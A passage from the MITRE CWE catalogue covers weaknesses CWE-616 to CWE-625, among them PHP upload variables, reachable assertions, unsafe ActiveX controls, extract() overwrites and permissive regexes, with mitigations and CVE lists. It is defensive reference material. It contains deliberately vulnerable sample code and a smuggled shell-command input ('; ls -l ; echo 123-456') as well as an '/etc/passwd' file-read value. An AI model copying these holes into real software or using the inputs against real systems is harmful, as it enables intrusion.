Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2421
MemberOf	C	1417	Comprehensive Categorization: Sensitive Information Exposure	1400	2569

CWE-616: Incomplete Identification of Uploaded File Variables (PHP)

Weakness ID : 616
Structure : Simple
Abstraction : Variant

Description

The PHP application uses an old method for processing uploaded files by referencing the four global variables that are set for each file (e.g. $varname, $varname_size, $varname_name, $varname_type). These variables could be overwritten by attackers, causing the application to process unauthorized files.

Extended Description

These global variables could be overwritten by POST requests, cookies, or other methods of populating or overwriting these variables. This could be used to read or process arbitrary files by providing values such as "/etc/passwd".

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	345	Insufficient Verification of Data Authenticity	858
PeerOf	V	473	PHP External Variable Modification	1134

Weakness Ordinalities

Primary :

Applicable Platforms

Language : PHP *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Files or Directories Modify Files or Directories	

Potential Mitigations

Phase: Architecture and Design

Use PHP 4 or later.

Phase: Architecture and Design

If you must support older PHP versions, write your own version of is_uploaded_file() and run it against $HTTP_POST_FILES['userfile']))

Phase: Implementation

For later PHP versions, reference uploaded files using the $HTTP_POST_FILES or $_FILES variables, and use is_uploaded_file() or move_uploaded_file() to ensure that you are dealing with an uploaded file.

Demonstrative Examples

Example 1:

As of 2006, the "four globals" method is probably in sharp decline, but older PHP applications could have this issue.

In the "four globals" method, PHP sets the following 4 global variables (where "varname" is application-dependent):

Example Language: PHP *(Bad)*

```
$varname = name of the temporary file on local machine
$varname_size = size of file
$varname_name = original name of file provided by client
$varname_type = MIME type of the file
```

Example 2:

"The global $_FILES exists as of PHP 4.1.0 (Use $HTTP_POST_FILES instead if using an earlier version). These arrays will contain all the uploaded file information."

Example Language: PHP *(Bad)*

```
$_FILES['userfile']['name'] - original filename from client
$_FILES['userfile']['tmp_name'] - the temp filename of the file on the server
```

** note: 'userfile' is the field name from the web form; this can vary.

Observed Examples

Reference	Description
CVE-2002-1460	Forum does not properly verify whether a file was uploaded or if the associated variables were set by POST, allowing remote attackers to read arbitrary files. *https://www.cve.org/CVERecord?id=CVE-2002-1460*
CVE-2002-1759	Product doesn't check if the variables for an upload were set by uploading the file, or other methods such as $_POST. *https://www.cve.org/CVERecord?id=CVE-2002-1759*
CVE-2002-1710	Product does not distinguish uploaded file from other files. *https://www.cve.org/CVERecord?id=CVE-2002-1710*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	994	SFP Secondary Cluster: Tainted Input to Variable	888	2438

Nature	Type	ID	Name	V	Page
MemberOf	C	1411	Comprehensive Categorization: Insufficient Verification of Data Authenticity	1400	2559

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Incomplete Identification of Uploaded File Variables (PHP)
Software Fault Patterns	SFP25		Tainted input to variable

References

[REF-502]Shaun Clowes. "A Study in Scarlet - section 5, "File Upload"".

CWE-617: Reachable Assertion

Weakness ID : 617
Structure : Simple
Abstraction : Base

Description

The product contains an assert() or similar statement that can be triggered by an attacker, which leads to an application exit or other behavior that is more severe than necessary.

Extended Description

While assertion is good for catching logic errors and reducing the chances of reaching more serious vulnerability conditions, it can still lead to a denial of service.

For example, if a server handles multiple simultaneous connections, and an assert() occurs in one single connection that causes all other connections to be dropped, this is a reachable assertion that leads to a denial of service.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	670	Always-Incorrect Control Flow Implementation	1484
CanFollow	B	193	Off-by-one Error	493

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	670	Always-Incorrect Control Flow Implementation	1484

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	389	Error Conditions, Return Values, Status Codes	2344

Weakness Ordinalities

Resultant :

Alternate Terms

assertion failure :

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart *An attacker that can trigger an assert statement can still lead to a denial of service if the relevant code can be triggered by an attacker, and if the scope of the assert() extends beyond the attacker's own session.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Make sensitive open/close operation non reachable by directly user-controlled data (e.g. open/close resources)

Phase: Implementation

Strategy = Input Validation

Perform input validation on user data.

Demonstrative Examples

Example 1:

In the excerpt below, an AssertionError (an unchecked exception) is thrown if the user hasn't entered an email address in an HTML form.

Example Language: Java *(Bad)*

```
String email = request.getParameter("email_address");
assert email != null;
```

Observed Examples

Reference	Description
CVE-2023-49286	Chain: function in web caching proxy does not correctly check a return value (CWE-253) leading to a reachable assertion (CWE-617) *https://www.cve.org/CVERecord?id=CVE-2023-49286*
CVE-2006-6767	FTP server allows remote attackers to cause a denial of service (daemon abort) via crafted commands which trigger an assertion failure. *https://www.cve.org/CVERecord?id=CVE-2006-6767*
CVE-2006-6811	Chat client allows remote attackers to cause a denial of service (crash) via a long message string when connecting to a server, which causes an assertion failure. *https://www.cve.org/CVERecord?id=CVE-2006-6811*

Reference	Description
CVE-2006-5779	Product allows remote attackers to cause a denial of service (daemon crash) via LDAP BIND requests with long authcid names, which triggers an assertion failure. *https://www.cve.org/CVERecord?id=CVE-2006-5779*
CVE-2006-4095	Product allows remote attackers to cause a denial of service (crash) via certain queries, which cause an assertion failure. *https://www.cve.org/CVERecord?id=CVE-2006-4095*
CVE-2006-4574	Chain: security monitoring product has an off-by-one error that leads to unexpected length values, triggering an assertion. *https://www.cve.org/CVERecord?id=CVE-2006-4574*
CVE-2004-0270	Anti-virus product has assert error when line length is non-numeric. *https://www.cve.org/CVERecord?id=CVE-2004-0270*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	850	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 7 - Methods (MET)	844	2385
MemberOf	V	884	CWE Cross-section	884	2588
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	2441
MemberOf	C	1140	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 06. Methods (MET)	1133	2468
MemberOf	C	1410	Comprehensive Categorization: Insufficient Control Flow Management	1400	2557

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	MET01-J		Never use assertions to validate method arguments
Software Fault Patterns	SFP3		Use of an improper API

CWE-618: Exposed Unsafe ActiveX Method

Weakness ID : 618
Structure : Simple
Abstraction : Variant

Description

An ActiveX control is intended for use in a web browser, but it exposes dangerous methods that perform actions that are outside of the browser's security model (e.g. the zone or domain).

Extended Description

ActiveX controls can exercise far greater control over the operating system than typical Java or javascript. Exposed methods can be subject to various vulnerabilities, depending on the implemented behaviors of those methods, and whether input validation is performed on the provided arguments. If there is no integrity checking or origin validation, this method could be invoked by attackers.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	749	Exposed Dangerous Method or Function	1572
PeerOf	V	623	Unsafe ActiveX Control Marked Safe For Scripting	1397

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	275	Permission Issues	2339

Weakness Ordinalities

Primary :

Common Consequences

Scope	Impact	Likelihood
Other	Other	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

If you must expose a method, make sure to perform input validation on all arguments, and protect against all possible vulnerabilities.

Phase: Architecture and Design

Use code signing, although this does not protect against any weaknesses that are already in the control.

Phase: Architecture and Design

Phase: System Configuration

Where possible, avoid marking the control as safe for scripting.

Observed Examples

Reference	Description
CVE-2007-1120	download a file to arbitrary folders. *https://www.cve.org/CVERecord?id=CVE-2007-1120*
CVE-2006-6838	control downloads and executes a url in a parameter *https://www.cve.org/CVERecord?id=CVE-2006-6838*
CVE-2007-0321	resultant buffer overflow *https://www.cve.org/CVERecord?id=CVE-2007-0321*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	977	SFP Secondary Cluster: Design	888	2428
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2566

References

[REF-503]Microsoft. "Developing Secure ActiveX Controls". 2005 April 3. < https://learn.microsoft.com/en-us/previous-versions//ms533046(v=vs.85)?redirectedfrom=MSDN >.2023-04-07.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-619: Dangling Database Cursor ('Cursor Injection')

Weakness ID : 619
Structure : Simple
Abstraction : Base

Description

If a database cursor is not closed properly, then it could become accessible to other users while retaining the same privileges that were originally assigned, leaving the cursor "dangling."

Extended Description

For example, an improper dangling cursor could arise from unhandled exceptions. The impact of the issue depends on the cursor's role, but SQL injection attacks are commonly possible.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	402	Transmission of Private Resources into a New Sphere ('Resource Leak')	984
CanFollow	C	404	Improper Resource Shutdown or Release	987

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	399	Resource Management Errors	2345

Weakness Ordinalities

Primary : This could be primary when the programmer never attempts to close the cursor when finished with it.

Resultant :

Applicable Platforms

Language : SQL *(Prevalence = Undetermined)*

Background Details

A cursor is a feature in Oracle PL/SQL and other languages that provides a handle for executing and accessing the results of SQL queries.

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Application Data Modify Application Data	

Potential Mitigations

Phase: Implementation

Close cursors immediately after access to them is complete. Ensure that you close cursors if exceptions occur.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2434
MemberOf	C	1403	Comprehensive Categorization: Exposed Resource	1400	2549

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP24		Tainted input to command

References

[REF-505]David Litchfield. "The Oracle Hacker's Handbook".

[REF-506]David Litchfield. "Cursor Injection". < http://www.davidlitchfield.com/cursor-injection.pdf >.2023-04-07.

CWE-620: Unverified Password Change

Weakness ID : 620
Structure : Simple
Abstraction : Base

Description

When setting a new password for a user, the product does not require knowledge of the original password, or using another form of authentication.

Extended Description

This could be used by an attacker to change passwords for another user, thus gaining the privileges associated with that user.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1390	Weak Authentication	2279

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1010	Authenticate Actors	2445

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	255	Credentials Management Errors	2336

Weakness Ordinalities

Primary :

Resultant :

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity	

Potential Mitigations

Phase: Architecture and Design

When prompting for a password change, force the user to provide the original password in addition to the new password.

Phase: Architecture and Design

Do not use "forgotten password" functionality. But if you must, ensure that you are only providing information to the actual user, e.g. by using an email address or challenge question that the legitimate user already provided in the past; do not allow the current user to change this identity information until the correct password has been provided.

Demonstrative Examples

Example 1:

This code changes a user's password.

Example Language: PHP *(Bad)*

```
$user = $_GET['user'];
$pass = $_GET['pass'];
$checkpass = $_GET['checkpass'];
if ($pass == $checkpass) {
  SetUserPassword($user, $pass);
}
```

While the code confirms that the requesting user typed the same new password twice, it does not confirm that the user requesting the password change is the same user whose password will be changed. An attacker can request a change of another user's password and gain control of the victim's account.

Observed Examples

Reference	Description
CVE-2007-0681	Web app allows remote attackers to change the passwords of arbitrary users without providing the original password, and possibly perform other unauthorized actions. *https://www.cve.org/CVERecord?id=CVE-2007-0681*

Reference	Description
CVE-2000-0944	Web application password change utility doesn't check the original password. *https://www.cve.org/CVERecord?id=CVE-2000-0944*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	2356
MemberOf	C	930	OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management	928	2410
MemberOf	C	952	SFP Secondary Cluster: Missing Authentication	888	2417
MemberOf	C	1028	OWASP Top Ten 2017 Category A2 - Broken Authentication	1026	2457
MemberOf	C	1353	OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures	1344	2515
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2540

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management
Software Fault Patterns	SFP31		Missing authentication

References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-621: Variable Extraction Error

Weakness ID : 621
Structure : Simple
Abstraction : Variant

Description

The product uses external input to determine the names of variables into which information is extracted, without verifying that the names of the specified variables are valid. This could cause the program to overwrite unintended variables.

Extended Description

For example, in PHP, extraction can be used to provide functionality similar to register_globals, a dangerous functionality that is frequently disabled in production systems. Calling extract() or import_request_variables() without the proper arguments could allow arbitrary global variables to be overwritten, including superglobals.

Similar functionality is possible in other interpreted languages, including custom languages.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	914	Improper Control of Dynamically-Identified Variables	1816
CanPrecede	B	471	Modification of Assumed-Immutable Data (MAID)	1129

Weakness Ordinalities

Primary :

Applicable Platforms

Language : PHP *(Prevalence = Undetermined)*

Alternate Terms

Variable overwrite :

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *An attacker could modify sensitive data or program variables.*	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Use allowlists of variable names that can be extracted.

Phase: Implementation

Consider refactoring your code to avoid extraction routines altogether.

Phase: Implementation

In PHP, call extract() with options such as EXTR_SKIP and EXTR_PREFIX_ALL; call import_request_variables() with a prefix argument. Note that these capabilities are not present in all PHP versions.

Demonstrative Examples

Example 1:

This code uses the credentials sent in a POST request to login a user.

Example Language: PHP *(Bad)*

```
//Log user in, and set $isAdmin to true if user is an administrator
function login($user,$pass){
  $query = buildQuery($user,$pass);
  mysql_query($query);
  if(getUserRole($user) == "Admin"){
    $isAdmin = true;
  }
}
$isAdmin = false;
extract($_POST);
login(mysql_real_escape_string($user),mysql_real_escape_string($pass));
```

The call to extract() will overwrite the existing values of any variables defined previously, in this case $isAdmin. An attacker can send a POST request with an unexpected third value "isAdmin" equal to "true", thus gaining Admin privileges.

Observed Examples

Reference	Description
CVE-2006-7135	extract issue enables file inclusion *https://www.cve.org/CVERecord?id=CVE-2006-7135*
CVE-2006-7079	Chain: PHP app uses extract for register_globals compatibility layer (CWE-621), enabling path traversal (CWE-22) *https://www.cve.org/CVERecord?id=CVE-2006-7079*
CVE-2007-0649	extract() buried in include files makes post-disclosure analysis confusing; original report had seemed incorrect. *https://www.cve.org/CVERecord?id=CVE-2007-0649*
CVE-2006-6661	extract() enables static code injection *https://www.cve.org/CVERecord?id=CVE-2006-6661*
CVE-2006-2828	import_request_variables() buried in include files makes post-disclosure analysis confusing *https://www.cve.org/CVERecord?id=CVE-2006-2828*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2588
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2434
MemberOf	C	1409	Comprehensive Categorization: Injection	1400	2556

Notes

Research Gap

Probably under-reported for PHP. Seems under-studied for other interpreted languages.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP24		Tainted input to command

CWE-622: Improper Validation of Function Hook Arguments

Weakness ID : 622
Structure : Simple
Abstraction : Variant

Description

The product adds hooks to user-accessible API functions, but it does not properly validate the arguments. This could lead to resultant vulnerabilities.

Extended Description

Such hooks can be used in defensive software that runs with privileges, such as anti-virus or firewall, which hooks kernel calls. When the arguments are not validated, they could be used to bypass the protection scheme or attack the product itself.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	20	Improper Input Validation	20

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Potential Mitigations

Phase: Architecture and Design

Ensure that all arguments are verified, as defined by the API you are protecting.

Phase: Architecture and Design

Drop privileges before invoking such functions, if possible.

Observed Examples

Reference	Description
CVE-2007-0708	DoS in firewall using standard Microsoft functions *https://www.cve.org/CVERecord?id=CVE-2007-0708*
CVE-2006-7160	DoS in firewall using standard Microsoft functions *https://www.cve.org/CVERecord?id=CVE-2006-7160*
CVE-2007-1376	function does not verify that its argument is the proper type, leading to arbitrary memory write *https://www.cve.org/CVERecord?id=CVE-2007-1376*
CVE-2007-1220	invalid syscall arguments bypass code execution limits *https://www.cve.org/CVERecord?id=CVE-2007-1220*
CVE-2006-4541	DoS in IDS via NULL argument *https://www.cve.org/CVERecord?id=CVE-2006-4541*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	991	SFP Secondary Cluster: Tainted Input to Environment	888	2437
MemberOf	C	1406	Comprehensive Categorization: Improper Input Validation	1400	2552

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP27		Tainted input to environment

CWE-623: Unsafe ActiveX Control Marked Safe For Scripting

Weakness ID : 623
Structure : Simple
Abstraction : Variant

Description

An ActiveX control is intended for restricted use, but it has been marked as safe-for-scripting.

Extended Description

This might allow attackers to use dangerous functionality via a web page that accesses the control, which can lead to different resultant vulnerabilities, depending on the control's behavior.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	267	Privilege Defined With Unsafe Actions	648
PeerOf	V	618	Exposed Unsafe ActiveX Method	1389

Weakness Ordinalities

Primary :

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

Potential Mitigations

Phase: Architecture and Design

During development, do not mark it as safe for scripting.

Phase: System Configuration

After distribution, you can set the kill bit for the control so that it is not accessible from Internet Explorer.

Observed Examples

Reference	Description
CVE-2007-0617	control allows attackers to add malicious email addresses to bypass spam limits *https://www.cve.org/CVERecord?id=CVE-2007-0617*
CVE-2007-0219	web browser uses certain COM objects as ActiveX *https://www.cve.org/CVERecord?id=CVE-2007-0219*
CVE-2006-6510	kiosk allows bypass to read files *https://www.cve.org/CVERecord?id=CVE-2006-6510*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	978	SFP Secondary Cluster: Implementation	888	2429
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2540

References

[REF-503]Microsoft. "Developing Secure ActiveX Controls". 2005 April 3. < https://learn.microsoft.com/en-us/previous-versions//ms533046(v=vs.85)?redirectedfrom=MSDN >.2023-04-07.

[REF-510]Microsoft. "How to stop an ActiveX control from running in Internet Explorer". < https://support.microsoft.com/en-us/help/240797/how-to-stop-an-activex-control-from-running-in-internet-explorer >.2023-04-07.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-624: Executable Regular Expression Error

Weakness ID : 624
Structure : Simple
Abstraction : Base

Description

The product uses a regular expression that either (1) contains an executable component with user-controlled inputs, or (2) allows a user to enable execution by inserting pattern modifiers.

Extended Description

Case (2) is possible in the PHP preg_replace() function, and possibly in other languages when a user-controlled input is inserted into a string that is later parsed as a regular expression.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	148

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ChildOf	C	77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	148

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf	C	77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	148

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	19	Data Processing Errors	2330

Applicable Platforms

Language : PHP *(Prevalence = Undetermined)*

Language : Perl *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

Potential Mitigations

Phase: Implementation

The regular expression feature in some languages allows inputs to be quoted or escaped before insertion, such as \Q and \E in Perl.

Observed Examples

Reference	Description
CVE-2006-2059	Executable regexp in PHP by inserting "e" modifier into first argument to preg_replace *https://www.cve.org/CVERecord?id=CVE-2006-2059*
CVE-2005-3420	Executable regexp in PHP by inserting "e" modifier into first argument to preg_replace *https://www.cve.org/CVERecord?id=CVE-2005-3420*
CVE-2006-2878	Complex curly syntax inserted into the replacement argument to PHP preg_replace(), which uses the "/e" modifier *https://www.cve.org/CVERecord?id=CVE-2006-2878*
CVE-2006-2908	Function allows remote attackers to execute arbitrary PHP code via the username field, which is used in a preg_replace function call with a /e (executable) modifier. *https://www.cve.org/CVERecord?id=CVE-2006-2908*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2434
MemberOf	C	1409	Comprehensive Categorization: Injection	1400	2556

Notes

Research Gap

Under-studied. The existing PHP reports are limited to highly skilled researchers, but there are few examples for other languages. It is suspected that this is under-reported for all languages. Usability factors might make it more prevalent in PHP, but this theory has not been investigated.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP24		Tainted input to command

CWE-625: Permissive Regular Expression

Weakness ID : 625
Structure : Simple
Abstraction : Base

Description

The product uses a regular expression that does not sufficiently restrict the set of allowed values.

Extended Description

This effectively causes the regexp to accept substrings that match the pattern, which produces a partial comparison to the target. In some cases, this can lead to other weaknesses. Common errors include:

- not identifying the beginning and end of the target string
- using wildcards instead of acceptable character ranges
- others

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	185	Incorrect Regular Expression	469
ParentOf	V	777	Regular Expression without Anchors	1645
PeerOf	B	183	Permissive List of Allowed Inputs	464
PeerOf	B	184	Incomplete List of Disallowed Inputs	466
PeerOf	V	187	Partial String Comparison	474

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	19	Data Processing Errors	2330

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Perl *(Prevalence = Undetermined)*

Language : PHP *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

When applicable, ensure that the regular expression marks beginning and ending string patterns, such as "/^string$/" for Perl.

Demonstrative Examples

Example 1:

The following code takes phone numbers as input, and uses a regular expression to reject invalid phone numbers.

Example Language: Perl *(Bad)*

```
$phone = GetPhoneNumber();
if ($phone =~ /\d+-\d+/) {
  # looks like it only has hyphens and digits
  system("lookup-phone $phone");
}
else {
  error("malformed number!");
}
```

An attacker could provide an argument such as: "; ls -l ; echo 123-456" This would pass the check, since "123-456" is sufficient to match the "\d+-\d+" portion of the regular expression.

Example 2:

This code uses a regular expression to validate an IP string prior to using it in a call to the "ping" command.

Example Language: Python *(Bad)*

```
import subprocess
import re
def validate_ip_regex(ip: str):
  ip_validator = re.compile(r"((25[0-5]|(2[0-4]|1\d|[1-9]|)\d)\.?\b){4}")
  if ip_validator.match(ip):
    return ip
  else:
    raise ValueError("IP address does not match valid pattern.")
def run_ping_regex(ip: str):
  validated = validate_ip_regex(ip)
  # The ping command treats zero-prepended IP addresses as octal
  result = subprocess.call(["ping", validated])
  print(result)
```

Since the regular expression does not have anchors (CWE-777), i.e. is unbounded without ^ or $ characters, then prepending a 0 or 0x to the beginning of the IP address will still result in a matched regex pattern. Since the ping command supports octal and hex prepended IP addresses, it will use the unexpectedly valid IP address (CWE-1389). For example, "0x63.63.63.63" would be considered equivalent to "99.63.63.63". As a result, the attacker could potentially ping systems that the attacker cannot reach directly.

Observed Examples

Reference	Description
CVE-2021-22204	Chain: regex in EXIF processor code does not correctly determine where a string ends (CWE-625), enabling eval injection (CWE-95), as exploited in the wild per CISA KEV. *https://www.cve.org/CVERecord?id=CVE-2021-22204*
CVE-2006-1895	".*" regexp leads to static code injection *https://www.cve.org/CVERecord?id=CVE-2006-1895*
CVE-2002-2175	insertion of username into regexp results in partial comparison, causing wrong database entry to be updated when one username is a substring of another. *https://www.cve.org/CVERecord?id=CVE-2002-2175*

Reference	Description
CVE-2006-4527	regexp intended to verify that all characters are legal, only checks that at least one is legal, enabling file inclusion. *https://www.cve.org/CVERecord?id=CVE-2006-4527*
CVE-2005-1949	Regexp for IP address isn't anchored at the end, allowing appending of shell metacharacters. *https://www.cve.org/CVERecord?id=CVE-2005-1949*
